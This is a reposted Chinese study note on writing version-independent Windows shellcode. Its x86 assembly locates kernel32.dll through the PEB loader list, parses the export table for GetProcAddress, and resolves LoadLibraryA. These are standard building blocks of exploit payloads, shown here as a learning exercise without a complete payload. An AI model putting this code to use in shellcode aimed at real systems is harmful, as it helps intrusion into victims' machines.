通用ShellCode學習筆記 2003/XP/Win7/Vista/Win8 通用


一、ShellCode的編寫

  1. Kernel32地址的獲取

由於win7的_PEB_LDR_DATA表和以前的系統有了改變,直接查詢0x08方式在win7下失效,為了保證shellcode的通用性(主要是增加對win7的支持),采用遍歷查詢的方式定位kernel32的位置

esi=fs:0->TEB

esi=TEB:30h->PEB

esi=PEB:0ch->_PEB_LDR_DATA

esi=_PEB_LDR_DATA:1ch->內存中的dll的地址

[esi]-> 內存中的下一個dll的地址(00h指向下一個Ldr_Module)

[esi+08h]->esi指向的地方的下一個dll的地址

edi->esi指向的地址的尾部

示意圖:


 

 

 

我們需要找的kernel32.dll長度為12,用od跟蹤發現kernel32.dll的函數名在內存中為“kernel32.dll”,即是說,我們查找到某個函數第24(12×2)的位置為空(字符串結尾),即是我們要找的kernel32.dll

             push ebp
xor ecx,ecx
mov esi,fs:0x30
mov esi, [esi + 0x0C];
mov esi, [esi + 0x1C];
next_module:

mov ebp, [esi + 0x08];
mov edi, [esi + 0x20];
mov esi, [esi];
cmp [edi + 12*2],cl

jne next_module
mov edi,ebp;BaseAddr of Kernel32.dll
  1. GetProcAddress地址的獲取

有了kernel32的地址以后,我們就可以方便的通過遍歷的方式查詢到GetProcAddress的地址

sub esp,100
mov ebp,esp;
mov eax,[edi+3ch];pe header
mov edx,[edi+eax+78h]

add edx,edi
mov ecx,[edx+18h];number of functions
mov ebx,[edx+20h]

add ebx,edi;AddressOfName
search:

dec ecx
mov esi,[ebx+ecx*4]
add esi,edi;
mov eax,0x50746547;PteG("GetP")
cmp [esi],eax

jne search
mov eax,0x41636f72;Acor("rocA")
cmp [esi+4],eax

jne search
mov ebx,[edx+24h]
add ebx,edi;indexaddress
mov cx,[ebx+ecx*2]

mov ebx,[edx+1ch]
add ebx,edi
mov eax,[ebx+ecx*4]
add eax,edi
mov [ebp+76],eax;將GetProcAddress地址存在ebp+76中
  1. LoadLibraryA地址的獲取

通過調用API函數GetProcAddress獲取LoadLibraryA的地址

 

            push 0;
push DWORD PTR0x41797261;Ayra("aryA")
push DWORD PTR0x7262694c;rbiL("Libr")
push DWORD PTR0x64616f4c;daoL("Load")
push esp

push edi
call [ebp+76]
mov[ebp+80],eax;將LoadLibraryA地址存在ebp+80中






免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM